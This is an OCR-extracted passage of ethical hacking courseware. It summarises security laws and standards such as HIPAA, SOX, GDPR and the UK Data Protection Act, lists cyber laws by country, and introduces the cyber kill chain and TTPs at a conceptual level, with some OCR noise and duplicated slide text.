ISO/IEC 27001:2013 specifies the requirements for establishing, implementing, maintaining,
and continually improving an information security management system within the context of an
organization. It includes requirements for the assessment and treatment of information
security risks tailored to the needs of the organization.

The regulation is intended to be suitable for several different uses, including:
= Use within organizations to formulate security requirements and objectives

= Use within organizations as a way to ensure that security risks are cost-effectively
managed

= Use within organizations to ensure compliance with laws and regulations
= Defining new information security management processes
= |dentifying and clarifying existing information security management processes

= Use by the management of organizations to determine the status of information
security management activities

= Implementing business-enabling information security

= Use by organizations to provide relevant information about information security to
customers
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Health Insurance Portability and Accountability
Act (HIPAAR)

HIPAA's Administrative Simplification Statute and Rules

Electronic
Transaction and 4
Code Set Standards

Requires every provider who does business electronically to use the
same health care transactions, code sets, and identifiers

A Provides federal protections for the personal health information
Privacy Rule k:) held by covered entities and gives patients an array of rights with
respect to that information

A ! Specifies a series of administrative, physical, and technical safeguards
Security Rule for covered entities to use to ensure the confidentiality, integrity,
S and availability of electronically protected health information

Requires that health care providers, health plans, and employers
have standard national numbers that identify them attached to
standard transactions

National Identifier
Requirements

Provides the standards for enforcing all the Administration

B viule T Simplification Rules

https://www.hhs.gov

Copyright © by EC-Council. All Rights Reserved. Reproduction is Strictly Prohibited.

Health Insurance Portability and Accountability Act (HIPAA)

Source: https://www.hhs.gov

The HIPAA Privacy Rule provides federal protections for the individually identifiable health
information held by covered entities and their business associates and gives patients an array of
rights to that information. At the same time, the Privacy Rule permits the disclosure of health
information needed for patient care and other necessary purposes.

The Security Rule specifies a series of administrative, physical, and technical safeguards for
covered entities and their business associates to use to ensure the confidentiality, integrity, and
availability of electronically protected health information.

The office of civil rights implemented HIPAA’s Administrative Simplification Statute and Rules,
as discussed below:

= Electronic Transactions and Code Set Standards

Transactions are electronic exchanges involving the transfer of information between
two parties for specific purposes. The Health Insurance Portability and Accountability
Act of 1996 (HIPAA) designated certain types of organizations as covered entities,
including health plans, health care clearinghouses, and certain health care providers. In
the HIPAA regulations, the Secretary of Health and Human Services (HHS) adopted
certain standard transactions for the Electronic Data Interchange (EDI) of health care
data. These transactions are claims and encounter information, payment and
remittance advice, claim status, eligibility, enrollment and disenrollment, referrals and
authorizations, coordination of benefits, and premium payment. Under HIPAA, if a
covered entity electronically conducts one of the adopted transactions, they must use
the adopted standard—either from ASC, X12N, or NCPDP (for certain pharmacy
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transactions). Covered entities must adhere to the content and format requirements of
each transaction. Every provider who does business electronically must use the same
health care transactions, code sets, and identifiers.

Privacy Rule

The HIPAA Privacy Rule establishes national standards to protect people’s medical
records and other personal health information and applies to health plans, health care
clearinghouses, and health care providers that conduct certain health care transactions
electronically. The rule requires appropriate safeguards to protect the privacy of
personal health information. It sets limits and conditions on the uses and disclosures
that may be made of such information without patient authorization. The rule also gives
patients’ rights over their health information, including the right to examine and obtain
a copy of their health records and to request corrections.

Security Rule

The HIPAA Security Rule establishes national standards to protect individuals’ electronic
personal health information that is created, received, used, or maintained by a covered
entity. The Security Rule requires appropriate administrative, physical, and technical
safeguards to ensure the confidentiality, integrity, and security of electronically
protected health information.

Employer Identifier Standard

The HIPAA requires that each employer has a standard national number that identifies
them on standard transactions.

National Provider Identifier Standard (NPI)

The National Provider Identifier (NPI) is a HIPAA Administrative Simplification Standard.
The NPI is a unique identification number assigned to covered health care providers.
Covered health care providers and all health plans and health care clearinghouses must
use the NPIs in the administrative and financial transactions adopted under HIPAA. The
NPI is a 10-position, intelligence-free numeric identifier (10-digit number). This means
that the numbers do not carry other information about healthcare providers, such as
the state in which they live or their medical specialty.

Enforcement Rule

The HIPAA Enforcement Rule contains provisions relating to compliance and
investigation, as well as the imposition of civil monetary penalties for violations of the
HIPAA Administrative Simplification Rules and procedures for hearings.
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Sarbanes Oxley Act
(SOX)

U Enacted in 2002, the Sarbanes-Oxley Act is designed to protect investors and the public by increasing
the accuracy and reliability of corporate disclosures

O The key requirements and provisions of SOX are organized into 11 titles:

Title I Title IT Title III

Public Company Accounting Auditor Independence establishes the Corporate Responsibility
Oversight Board (PCAOB) standards for external auditor independence, mandates that senior executives
provides independent intended to limit conflicts of interest and take individual responsibility for
oversight of public accounting address new auditor approval requirements, the accuracy and completeness
firms providing audit services audit partner rotation, and auditor reporting of corporate financial reports
(“auditors”) requirements

https://www.sec.gov
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Sarbanes Oxley Act

(SOX) (Cont’d)

Title IV
Enhanced Financial Disclosures describe enhanced reporting requirements for

financial transactions, including off-balance-sheet transactions, pro-forma figures,
and the stock transactions of corporate officers

confidence in the reporting of securities analysts

Title VI

Commission Resources and Authority defines practices to restore investor
confidence in securities analysts

Title VII

Studies and Reports includes the effects of the consolidation of public accounting
firms, the role of credit rating agencies in the operation of securities markets,
securities violations and enforcement actions, and whether investment banks
assisted Enron, Global Crossing, or others to manipulate earnings and obfuscate
true financial conditions

TitleV
Analyst Conflicts of Interest consist of measures designed to help restore investor
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Sarbanes Oxley Act (SOX) (Cont’d)

e Title VIII
Corporate and Criminal Fraud Accountability describes specific criminal penalties for fraud
by the manipulation, destruction, or alteration of financial records, or other interference
with investigations while providing certain protections for whistle-blowers

Title X

White Collar Crime Penalty Enhancement increases the criminal penalties
associated with white-collar crimes and conspiracies. It recommends stronger
sentencing guidelines and specifically adds the failure to certify corporate
financial reports as a criminal offense

Title IX
Corporate Tax Returns states that the Chief Executive Officer should sign the
company tax return

Title XI
Corporate Fraud Accountability identifies corporate fraud and record tampering as
criminal offenses and assigns them specific penalties. It also revises sentencing
guidelines and strengthens their penalties. This enables the SEC to temporarily freeze
large or unusual payments

Copyright © by EC-Council. All Rights Reserved. Reproduction is Strictly Prohibited.

Sarbanes Oxley Act (SOX)
Source: https.//www.sec.gov

Enacted in 2002, the Sarbanes-Oxley Act aims to protect the public and investors by increasing
the accuracy and reliability of corporate disclosures. This act does not explain how an
organization must store records but describes the records that organizations must store and
the duration of their storage. The Act mandated several reforms to enhance corporate
responsibility, enhance financial disclosures, and combat corporate and accounting fraud.

The key requirements and provisions of SOX are organized into 11 titles:
= Title I: Public Company Accounting Oversight Board (PCAOB)

Title | consists of nine sections and establishes the Public Company Accounting
Oversight Board to provide independent oversight of public accounting firms that
provide audit services ("auditors"). It also creates a central oversight board tasked with
registering audit services, defining the specific processes and procedures for compliance
audits, inspecting and policing conduct and quality control, and enforcing compliance
with the specific mandates of SOX.

= Title ll: Auditor Independence

Title Il consists of nine sections and establishes standards for external auditor
independence to limit conflicts of interest. It also addresses new auditor approval
requirements, audit partner rotation, and auditor reporting requirements. It restricts
auditing companies from providing non-audit services (such as consulting) for the same
clients.
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= Title lll: Corporate Responsibility

Title Il consists of eight sections and mandates that senior executives take individual
responsibility for the accuracy and completeness of corporate financial reports. It
defines the interaction between external auditors and corporate audit committees and
specifies the corporate officers’ responsibility for the accuracy and validity of corporate
financial reports. It enumerates specific limits on the behaviors of corporate officers and
describes specific forfeitures of benefits and civil penalties for non-compliance.

= Title IV: Enhanced Financial Disclosures

Title IV consists of nine sections. It describes enhanced reporting requirements for
financial transactions, including off-balance-sheet transactions, pro-forma figures, and
the stock transactions of corporate officers. It requires internal controls to ensure the
accuracy of financial reports and disclosures and mandates both audits and reports on
those controls. It also requires timely reporting of material changes in financial
conditions and specific enhanced reviews of corporate reports by the SEC or its agents.

= Title V: Analyst Conflicts of Interest

Title V consists of only one section that discusses the measures designed to help restore
investor confidence in the reporting of securities analysts. It defines the code of conduct
for securities analysts and requires that they disclose any knowable conflicts of interest.

= Title VI: Commission Resources and Authority

Title VI consists of four sections and defines practices to restore investor confidence in
securities analysts. It also defines the SEC’s authority to censure or bar securities
professionals from practice and defines the conditions to bar a person from practicing as
a broker, advisor, or dealer.

= Title VII: Studies and Reports

Title VIl consists of five sections and requires the Comptroller General and the Securities
and Exchange Commission (SEC) to perform various studies and to report their findings.
The required studies and reports include the effects of the consolidation of public
accounting firms, the role of credit rating agencies in the operation of securities
markets, securities violations, enforcement actions, and whether investment banks
assisted Enron, Global Crossing, and others to manipulate earnings and obfuscate true
financial conditions.

= Title VIII: Corporate and Criminal Fraud Accountability

Title VIII, also known as the “Corporate and Criminal Fraud Accountability Act of 2002,”
consists of seven sections. It describes specific criminal penalties for the manipulation,
destruction, or alteration of financial records or interference with investigations, while
also providing certain protections for whistle-blowers.
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Title IX: White-Collar-Crime Penalty Enhancement

Title IX, also known as the "White Collar Crime Penalty Enhancement Act of 2002,”
consists of six sections. This title increases the criminal penalties associated with white-
collar crimes and conspiracies. It recommends stronger sentencing guidelines and
specifically adds failure to certify corporate financial reports as a criminal offense.

Title X: Corporate Tax Returns

Title X consists of one section that states that the Chief Executive Officer should sign the
company tax return.

Title XI: Corporate Fraud Accountability

Title XI consists of seven sections. Section 1101 recommends the following name for the
title: “Corporate Fraud Accountability Act of 2002.” It identifies corporate fraud and
records tampering as criminal offenses and joins those offenses to specific penalties. It
also revises sentencing guidelines and strengthens penalties. Doing so enables the SEC
to temporarily freeze “large” or “unusual” transactions or payments.
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The Digital Millennium
Copyright Act (DMCA)

O The DMCA is a United States copyright law that implements two 1996 treaties of the World
Intellectual Property Organization (WIPO)

O It defines the legal prohibitions against the circumvention of technological protection
measures employed by copyright owners to protect their works, and against the removal or
alteration of copyright management information

https://www.copyright.gov
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The Digital Millennium Copyright Act (DMCA)
Source: https.//www.copyright.gov

The DMCA is an American copyright law that implements two 1996 treaties from the World
Intellectual Property Organization (WIPO): the WIPO Copyright Treaty and the WIPO
Performances and Phonograms Treaty. In order to implement US treaty obligations, the DMCA
defines legal prohibitions against circumvention of the technological protection measures
employed by copyright owners to protect their works, and against the removal or alteration of
copyright management information. The DMCA contains five titles:

= Title I: WIPO TREATY IMPLEMENTATION

Title | implements the WIPO treaties. First, it makes certain technical amendments to US
law in order to provide the appropriate references and links to the treaties. Second, it
creates two new prohibitions in Title 17 of the U.S. Code—one on circumvention of the
technological measures used by copyright owners to protect their works and one on
tampering with copyright management information—and adds civil remedies and
criminal penalties for violating the prohibitions.

= Title Il: ONLINE COPYRIGHT INFRINGEMENT LIABILITY LIMITATION

Title Il of the DMCA adds a new section 512 to the Copyright Act to create four new
limitations on liability for copyright infringement by online service providers. A service
provider bases these limitations on the following four categories of conduct:

o Transitory communications
o System caching

o The user-directed storage of information on systems or networks
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o Information location tools

New section 512 also includes special rules concerning the application of these
limitations to nonprofit educational institutions.

Title I1l: COMPUTER MAINTENANCE OR REPAIR

Title Il of the DMCA allows the owner of a copy of a program to make reproductions or
adaptations when necessary to use the program in conjunction with a computer. The
amendment permits the owner or lessee of a computer to make or to authorize the
making of a copy of a computer program in the course of maintaining or repairing that
computer.

Title IV: MISCELLANEOUS PROVISIONS

Title IV contains six miscellaneous provisions. The first provision announces the
Clarification of the Authority of the Copyright Office; the second grants exemption for
the making of “ephemeral recordings”; the third promotes study by distance education;
the fourth provides an exemption for Nonprofit Libraries and Archives; the fifth allows
Webcasting Amendments to the Digital Performance Right in Sound Recordings, and,
finally, the sixth provision addresses concerns about the ability of writers, directors and
screen actors to obtain residual payments for the exploitation of motion pictures in
situations where the producer is no longer able to make these payments.

Title V: PROTECTION OF CERTAIN ORIGINAL DESIGNS

Title V of the DMCA, entitles the Vessel Hull Design Protection Act (VHDPA). This act
creates a new system for protecting the original designs of certain useful articles that
make the article attractive or distinctive in appearance. For purposes of the VHDPA,
“useful articles” are limited to the hulls (including the decks) of vessels no longer than
200 feet.
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The Federal Information Security
Management Act (FISMA)

The FISMA provides a comprehensive framework for ensuring the
effectiveness of information security controls over information
resources that support Federal operations and assets

It includes

» Standards for categorizing information and information systems by
mission impact

» Standards for minimum security requirements for information and
information systems

» Guidance for selecting appropriate security controls for information
systems

» Guidance for assessing security controls in information systems and
determining security control effectiveness

» Guidance for security authorization of information systems

https.//csrc.nist.gov
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The Federal Information Security Management Act (FISMA)
Source: https://csrc.nist.gov

The Federal Information Security Management Act of 2002 was enacted to produce several key
security standards and guidelines required by Congressional legislation. The FISMA provides a
comprehensive framework for ensuring the effectiveness of information security controls over
information resources that support federal operations and assets. It requires each federal
agency to develop, document, and implement an agency-wide program to provide information
security for the information and information systems that support the operations and assets of
the agency, including those provided or managed by another agency, contractor, or another
source. The FISMA framework includes:

= Standards for categorizing information and information systems by mission impact

= Standards for the minimum security requirements for information and information
systems

= Guidance for selecting appropriate security controls for information systems

= Guidance for assessing security controls in information systems and determining their
effectiveness

= Guidance for the security authorization of information systems
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GENERAL DATA PROTECTION REGWL.ATION

o 4

U GDPR regulation was put into effect on May 25, 2018 and one of the
most stringent privacy and security laws globally

O The GDPR will levy harsh fines against those who violate its privacy and General Data
security standards, with penalties reaching tens of millions of euros Protection
GDPR Data Protection Principles Regulation
> Lawfulness, fairness, and > Accuracy (GDPR)
transparency

Storage limitation

>
> Purpose limitation > Integrity and confidentiality
>

> Data minimization -
Accountability https://gdpr.eu

Copyright © by EG-Bouncil. All Rights Reserved. Reproduction is Strictly Prohibited.

General Data Protection Regulation (GDPR)

Source: https.//gdpr.eu

The General Data Protection Regulation (GDPR) is one of the most stringent privacy and
security laws globally. Though it was drafted and passed by the European Union (EU), it imposes
obligations onto organizations anywhere, so long as they target or collect data related to
people in the EU. The regulation was put into effect on May 25, 2018. The GDPR will levy harsh
fines against those who violate its privacy and security standards, with penalties reaching tens
of millions of euros.

With the GDPR, Europe signifies its firm stance on data privacy and security when more people
are entrusting their data with cloud services, and breaches are a daily occurrence. The
regulation itself is extensive, far-reaching, and relatively light on specifics, making GDPR
compliance a daunting prospect, particularly for small and medium-sized enterprises (SMEs).

GDPR Data Protection Principles
The GDPR includes seven protection and accountability principles outlined in Article 5.1-2:

= Lawfulness, fairness, and transparency: Processing must be lawful, fair, and transparent
to the data subject.

= Purpose limitation: You must process data for the legitimate purposes specified
explicitly to the data subject when you collected it.

= Data minimization: You should collect and process only as much data as necessary for
the purposes specified.

= Accuracy: You must keep personal data accurate and up to date.
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= Storage limitation: You may only store personally identifying data for as long as
necessary for the specified purpose.

= |ntegrity and confidentiality: Processing must be done in such a way as to ensure
appropriate security, integrity, and confidentiality (e.g., by using encryption).

= Accountability: The data controller is responsible for demonstrating GDPR compliance
with all of these principles.
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Data Protection Act 2018 (DPA)

The DPA is an act to make provision for the regulation of the processing of
information relating to individuals; to make provision in connection with
the Information Commissioner’s functions under specific regulations
relating to information; to make provision for a direct marketing code of
practice, and connected purposes

The DPA protects individuals concerning the processing of personal data,
in particular by:

(0]

Requiring personal data to be processed lawfully and fairly, based on the
data subject’s consent or another specified basis,

(1]

Conferring rights on the data subject to obtain information about the
processing of personal data and to require inaccurate personal data to be
rectified, and

(0]

Conferring functions on the Commissioner, giving the holder of that office
responsibility to monitor and enforce their provisions

https://www.legislation.gov.uk
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Data Protection Act 2018 (DPA)

Source: https.//www.legislation.gov.uk

The DPA 2018 sets out the framework for data protection law in the UK. It updates and replaces
the Data Protection Act 1998 and came into effect on 25 May, 2018. It was amended on 01
January, 2021 by regulations under the European Union (Withdrawal) Act 2018 to reflect the
UK’s status outside the EU.

The DPA is an act to make provision for the regulation of the processing of information relating
to individuals; to make provision in connection with the Information Commissioner’s functions
under specific regulations relating to information; to make provision for a direct marketing code
of practice, and connected purposes. The DPA also sets out separate data protection rules for
law enforcement authorities, extends data protection to some other areas such as national
security and defense, and sets out the Information Commissioner’s functions and powers.

Protection of personal data

1. The DPA protects individuals concerning the processing of personal data, in particular
by:
a. Requiring personal data to be processed lawfully and fairly, based on the data
subject’s consent or another specified basis,

b. Conferring rights on the data subject to obtain information about the processing of
personal data and to require inaccurate personal data to be rectified, and

c. Conferring functions on the Commissioner, giving the holder of that office
responsibility to monitor and enforce their provisions.
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2. When carrying out functions under the GDPR, the applied GDPR, and this Act, the
Commissioner must regard the importance of securing an appropriate level of
protection for personal data, taking account of the interests of data subjects,
controllers, and others, and matters of general public interest.
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Cyber Law in Different Countries

C:::::;y Laws/Acts Website

Section 107 of the Copyright Law mentions the doctrine of
“fair use” https://www.copyright.gov
Online Copyright Infringement Liability Limitation Act
The Lanham (Trademark) Act (15 USC §§ 1051 - 1127) https://www.uspto.gov
The Electronic Communications Privacy Act https://fas.org
Foreign Intelligence Surveillance Act https://fas.org < ‘

United States Protect America Act of 2007 https://www.justice.gov
Privacy Act of 1974 https://www.justice.gov
National Information Infrastructure Protection Act of 1996 https://www.nrotc.navy.mil
Computer Security Act of 1987 https://csrc.nist.gov
Freedom of Information Act (FOIA) https://www.foia.gov
Computer Fraud and Abuse Act https://energy.gov
Federal Identity Theft and Assumption Deterrence Act https://www.ftc.gov

Copyright © by EG-Gouncil. All Rights Reserved. Reproduction is Strictly Prohibited.

Cyber Law in Different Countries (Cont’d)

The Trade Marks Act 1995

The Patents Act 1990

Australia https://www.legislation.gov.au
The Copyright Act 1968

Cybercrime Act 2001

The Copyright, Etc. and Trademarks (Offenses And Enforcement) Act 2002

Trademarks Act 1994 (TMA)

Computer Misuse Act 1990

The Network and Information Systems Regulations 2018

United Kingdom https://www.legislation.gov.uk
Communications Act 2003

The Privacy and Electronic Communications (EC Directive) Regulations 2003

Investigatory Powers Act 2016

Regulation of Investigatory Powers Act 2000

Copyright Law of the People’s Republic of China (Amendments on October 27, 2001)
China http://www.npc.gov.cn
Trademark Law of the People's Republic of China (Amendments on October 27, 2001)

indi The Patents (Amendment) Act, 1999, Trade Marks Act, 1999, The Copyright Act, 1957 http://www.ipindia.nic.in
ndia

Information Technology Act https://www.meity.gov.in
Germany Section 202a. Data Espionage, Section 303a. Alteration of Data, Section 303b. Computer Sabotage https://www.cybercrimelaw.net

Copyright © by EG-Gouncil. All Rights Reserved. Reproduction is Strictly Prohibited.

Module 01 Page 35 Ethical Hacking Essentials Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials
Information Security Fundamentals

Exam 112-52

Cyber Law in Different Countries (Cont’d)

Country

Laws/Acts Website
Name

Italy Penal Code Article 615 ter https://www.cybercrimelaw.net
The Trademark Law (Law No. 127 of 1957), Copyright i " .

Japan Management Business Law (4.2.2.3 of 2000) https://www.iip.orjp
Copyright Act (R.S.C., 1985, c. C-42), Trademark Law, Canadian i L

Canada Criminal Code Section 342.1 https://laws-lois.justice.gc.ca

Singapore Computer Misuse Act https://sso.agc.gov.sg
Trademarks Act 194 of 1993 http://www.cipc.co.za

South Africa

Copyright Act of 1978

https://www.nlsa.ac.za

Copyright Law Act No. 3916

https://www.copyright.or.kr

South Korea
Industrial Design Protection Act

https://www.kipo.go.kr

Copyright Law, 30/06/1994

https://www.wipo.int

Belgium
Computer Hacking https://www.cybercrimelaw.net
Brazil Unauthorized modification or alteration of the information https://www.domstol.no
system
Hong Kong Article 139 of the Basic Law https://www.basiclaw.gov.hk
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Cyber Law in Different Countries

Cyberlaw or Internet law refers to any laws that deal with protecting the Internet and other
online communication technologies. Cyberlaw covers topics such as Internet access and usage,
privacy, freedom of expression, and jurisdiction. Cyber laws provide an assurance of the
integrity, security, privacy, and confidentiality of information in both governmental and private
organizations. These laws have become prominent due to the increase in Internet usage around
the world. Cyber laws vary by jurisdiction and country, so implementing them is quite
challenging. Violating these laws results in punishments ranging from fines to imprisonment.

Country

L Act
Name aws/Acts

Website

of “fair use”

Section 107 of the Copyright Law mentions the doctrine

https://www.copyright.gov

United States

Online Copyright Infringement Liability Limitation Act

The Lanham (Trademark) Act (15 USC §§ 1051 - 1127)

https://www.uspto.gov

The Electronic Communications Privacy Act

https://fas.org

Foreign Intelligence Surveillance Act

https://fas.org

Protect America Act of 2007

https://www.justice.gov

Privacy Act of 1974

https://www.justice.gov

National Information Infrastructure Protection Act of
1996

https://www.nrotc.navy.mil

Computer Security Act of 1987

https://csrc.nist.gov

Freedom of Information Act (FOIA)

https://www.foia.gov

Computer Fraud and Abuse Act

https://energy.gov
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Federal Identity Theft and Assumption Deterrence Act

https://www.ftc.gov

The Trade Marks Act 1995

The Patents Act 1990

Australia

The Copyright Act 1968

Cybercrime Act 2001

https://www.legislation.gov.au

The Copyright, Etc. and Trademarks (Offenses And
Enforcement) Act 2002

Trademarks Act 1994 (TMA)

Computer Misuse Act 1990

The Network and Information Systems Regulations 2018

United Kingdom

Communications Act 2003

The Privacy and Electronic Communications (EC
Directive) Regulations 2003

Investigatory Powers Act 2016

Regulation of Investigatory Powers Act 2000

https://www.legislation.gov.uk

Copyright Law of the People’s Republic of China
(Amendments on October 27, 2001)

China http://www.npc.gov.cn
Trademark Law of the People's Republic of China
(Amendments on October 27, 2001)
The Patents (Amendment) Act, 1999, Trade Marks Act, http://www.ipindia.nic.in
India 1999, The Copyright Act, 1957 P -pindia.nic.
Information Technology Act https://www.meity.gov.in
German Section 202a. Data Espionage, Section 303a. Alteration https://www.cybercrimelaw.net
¥ of Data, Section 303b. Computer Sabotage ps: Y )
Italy Penal Code Article 615 ter https://www.cybercrimelaw.net
Jaban The Trademark Law (Law No. 127 of 1957), Copyright https://WWW.iip.or.j
P Management Business Law (4.2.2.3 of 2000) ps: ip-orJp
Copyright Act (R.S.C., 1985, c. C-42), Trademark Law, ) L
Canada Canadian Criminal Code Section 342.1 https://laws-lois.justice.gc.ca
Singapore Computer Misuse Act https://sso.agc.gov.sg

Trademarks Act 194 of 1993

http://www.cipc.co.za

South Africa

Copyright Act of 1978

https://www.nlsa.ac.za

Copyright Law Act No. 3916

https://www.copyright.or.kr

South Korea

Industrial Design Protection Act

https://www.kipo.go.kr

Copyright Law, 30/06/1994

https://www.wipo.int

Belgium
Computer Hacking https://www.cybercrimelaw.net
hori ificati I i f th
Brazil pnaut O.I‘IZEd modification or alteration of the https://www.domstol.no
information system
Hong Kong Article 139 of the Basic Law https://www.basiclaw.gov.hk
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Module Summary

This module has discussed the need for security, elements of
information security, the security, functionality, and usability
triangle, and security challenges

It has covered motives, goals, and objectives of information
security attacks in detail

It also discussed classification of attacks and information
security attack vectors

Finally, this module ended with a detailed discussion of
various information security laws and regulations

The next module will give you introduction on ethical hacking
fundamental concepts such as cyber kill chain methodology,
hacking concepts, hacker classes, and various phases of
hacking cycle

©O 000 O
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Module Summary

This module has discussed the need for security, elements of information security, the security,
functionality, and usability triangle, and security challenges. It has covered motives, goals, and
objectives of information security attacks in detail. It also discussed classification of attacks and
information security attack vectors. Finally, this module ended with a detailed discussion of
various information security laws and regulations.

The next module will give you introduction on ethical hacking fundamental concepts such as
cyber kill chain methodology, hacking concepts, hacker classes, and various phases of hacking
cycle.
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Module Objectives

0 Understanding the Cyber Kill Chain Methodology

Understanding Tactics, Techniques, and Procedures
(TTPs)

e Overview of Indicators of Compromise (loCs)
o Overview of Hacking Concepts and Hacker Classes

e Understanding Different Phases of Hacking Cycle

! G Understanding Ethical Hacking Concepts and Its Scope

0 Overview of Ethical Hacking Tools
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Module Objectives

In the current evolving digital era, a major threat businesses are facing is from cyber criminals.
The ever-evolving ecommerce ecosystem has introduced new technologies such as the cloud-
based computing environment. The series of recent security breaches have alarmed
organizations into recognizing the need for efficient information security systems. Ethical
hacking allows organizations to objectively analyze their current security posture. Nowadays,
the role of an ethical hacker is gaining prominence. An ethical hacker intentionally penetrates
the security infrastructure to identify and fix security loopholes.

This module starts with an introduction to cyber kill chain methodology and indicators of
compromise (loCs). It provides an insight into hacking concepts and hacker classes. Later, the
module discusses different phases of the hacking cycle and ends with a brief discussion on
ethical hacking concepts, scope, and limitations.

At the end of this module, you will be able to do the following:
= Explain the cyber kill chain methodology
= Describe the tactics, techniques, and procedures (TTPs)
= Describe the Indicators of Compromise (loCs)
= Explain the hacking concepts and hacker classes
= Explain ethical hacking concepts and scope
= Understand the different phases of hacking cycle
= Understand the ethical hacking concepts and its scope
= Know about the skills of an ethical hacker
= Understand various ethical hacking tools
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Module Flow

o Understand Different O

Phases of Hacking Cycle

Discuss Ethical Hacking
Ethical

Concepts, Scope, and
Q Discuss Hacking Concepts Limitations Hacking Tools

and Hacker Classes
] —
||
—
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Understand Cyber Kill
Chain Methodology

Understand Cyber Kill Chain Methodology

The cyber kill chain is an efficient and effective way of illustrating how an adversary can attack
the target organization. This model helps organizations understand the various possible threats
at every stage of an attack and the necessary countermeasures to defend against such attacks.
Also, this model provides security professionals with a clear insight into the attack strategy used
by the adversary so that different levels of security controls can be implemented to protect the
IT infrastructure of the organization.

This section discusses the cyber kill chain methodology, common TTPs used by adversaries,
behavioral identification of adversaries, and Indicators of Compromise (loCs).
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Cyber Kill Chain Methodology

O The cyber kill chain methodology is a component of intelligence-driven defense for the identification and
prevention of malicious intrusion activities

O It helps security professionals to understand the adversary’s tactics, techniques, and procedures beforehand

Create a deliverable Exploit a vulnerability Create a command and control
malicious payload using by executing code on channel to communicate and
an exploit and a backdoor the victim’s system pass data back and forth
‘Weaponization Exploitation Command and Control

x  ® &

N e

& & &

Reconnaissance Delivery Installation Actions on Objectives

Gather data on the target Send weaponized bundle to the Install malware on Perform actions to achieve
to probe for weak points victim using email, USB, etc. the target system intended objectives/goals
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Cyber Kill Chain Methodology

The cyber kill chain methodology is a component of intelligence-driven defense for the
identification and prevention of malicious intrusion activities. This methodology helps security
professionals in identifying the steps that adversaries follow in order to accomplish their goals.

The cyber kill chain is a framework developed for securing cyberspace based on the concept of
military kill chains. This method aims to actively enhance intrusion detection and response. The
cyber kill chain is equipped with a seven-phase protection mechanism to mitigate and reduce
cyber threats.

According to Lockheed Martin, cyberattacks might occur in seven different phases, from
reconnaissance to the final accomplishment of the objective. An understanding of cyber kill
chain methodology helps security professionals to leverage security controls at different stages
of an attack and helps them to prevent the attack before it succeeds. It also provides greater
insight into the attack phases, which helps in understanding the adversary’s TTPs beforehand.
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Discussed below are various phases included in cyber kill chain methodology:

Create a deliverable Exploit a vulnerability Create a command and control
malicious payload using by executing code on channel to communicate and
an exploit and a backdoor the victim’s system pass data back and forth
‘Weaponization Exploitation Command and Control

Reconnaissance Delivery Installation Actions on Objectives
Gather data on the target Send weaponized bundle to the Install malware on Perform actions to achieve
to probe for weak points victim using email, USB, etc. the target system intended objectives/goals

Figure 2.1: Cyber kill chain methodology
= Reconnaissance

An adversary performs reconnaissance to collect as much information about the target
as possible to probe for weak points before actually attacking. They look for information
such as publicly available information on the Internet, network information, system
information, and the organizational information of the target. By conducting
reconnaissance across different network levels, the adversary can gain information such
as network blocks, specific IP addresses, and employee details. The adversary may use
automated tools such as open ports and services, vulnerabilities in applications, and
login credentials, to obtain information. Such information can help the adversary in
gaining backdoor access to the target network.

Activities of the adversary include the following:

o Gathering information about the target organization by searching the Internet or
through social engineering

o Performing analysis of various online activities and publicly available information
o Gathering information from social networking sites and web services
o Obtaining information about websites visited
o Monitoring and analyzing the target organization’s website
o Performing Whois, DNS, and network footprinting
o Performing scanning to identify open ports and services
= Weaponization

The adversary analyzes the data collected in the previous stage to identify the
vulnerabilities and techniques that can exploit and gain unauthorized access to the
target organization. Based on the vulnerabilities identified during analysis, the adversary
selects or creates a tailored deliverable malicious payload (remote-access malware
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weapon) using an exploit and a backdoor to send it to the victim. An adversary may
target specific network devices, operating systems, endpoint devices, or even
individuals within the organization to carry out their attack. For example, the adversary
may send a phishing email to an employee of the target organization, which may include
a malicious attachment such as a virus or worm that, when downloaded, installs a
backdoor on the system that allows remote access to the adversary.

The following are the activities of the adversary:
o ldentifying appropriate malware payload based on the analysis

o Creating a new malware payload or selecting, reusing, modifying the available
malware payloads based on the identified vulnerability

o Creating a phishing email campaign
o Leveraging exploit kits and botnets
Delivery

The previous stage included creating a weapon. Its payload is transmitted to the
intended victim(s) as an email attachment, via a malicious link on websites, or through a
vulnerable web application or USB drive. Delivery is a key stage that measures the
effectiveness of the defense strategies implemented by the target organization based
on whether the intrusion attempt of the adversary is blocked or not.

The following are the activities of the adversary:
o Sending phishing emails to employees of the target organization

o Distributing USB drives containing malicious payload to employees of the target
organization

o Performing attacks such as watering hole on the compromised website

o Implementing various hacking tools against the operating systems, applications, and
servers of the target organization

Exploitation

After the weapon is transmitted to the intended victim, exploitation triggers the
adversary’s malicious code to exploit a vulnerability in the operating system,
application, or server on a target system. At this stage, the organization may face
threats such as authentication and authorization attacks, arbitrary code execution,
physical security threats, and security misconfiguration.

Activities of the adversary include the following:

o Exploiting software or hardware vulnerabilities to gain remote access to the target
system

Installation

The adversary downloads and installs more malicious software on the target system to
maintain access to the target network for an extended period. They may use the
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weapon to install a backdoor to gain remote access. After the injection of the malicious
code on one target system, the adversary gains the capability to spread the infection to
other end systems in the network. Also, the adversary tries to hide the presence of
malicious activities from security controls like firewalls using various techniques such as
encryption.

The following are the activities of the adversary:
o Downloading and installing malicious software such as backdoors
o Gaining remote access to the target system
o Leveraging various methods to keep backdoor hidden and running
o Maintaining access to the target system

= Command and Control

The adversary creates a command and control channel, which establishes two-way
communication between the victim’s system and adversary-controlled server to
communicate and pass data back and forth. The adversaries implement techniques such
as encryption to hide the presence of such channels. Using this channel, the adversary
performs remote exploitation on the target system or network.

The following are the activities of the adversary:

o Establishing a two-way communication channel between the victim’s system and the
adversary-controlled server

o Leveraging channels such as web traffic, email communication, and DNS messages
o Applying privilege escalation techniques
o Hiding any evidence of compromise using techniques such as encryption

= Actions on Objectives

The adversary controls the victim’s system from a remote location and finally
accomplishes their intended goals. The adversary gains access to confidential data,
disrupts the services or network, or destroys the operational capability of the target by
gaining access to its network and compromising more systems. Also, the adversary may
use this as a launching point to perform other attacks.

Module 02 Page 45 Ethical Hacking Essentials Copyright © by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.




Ethical Hacking Essentials Exam 112-52
Ethical Hacking Fundamentals

Tactics, Techniques, and Procedures (TTPs)

The term Tactics, Techniques, 'VA
and Procedures (TTPs) refers to the

patterns of activities and methods
associated with specific threat actors
or groups of threat actors

e Tactics
“Tactics” are the guidelines that describe the way an attacker performs the attack from beginning to the end

Techniques

“Techniques” are the technical methods used by an attacker to achieve intermediate results during the attack

Procedures
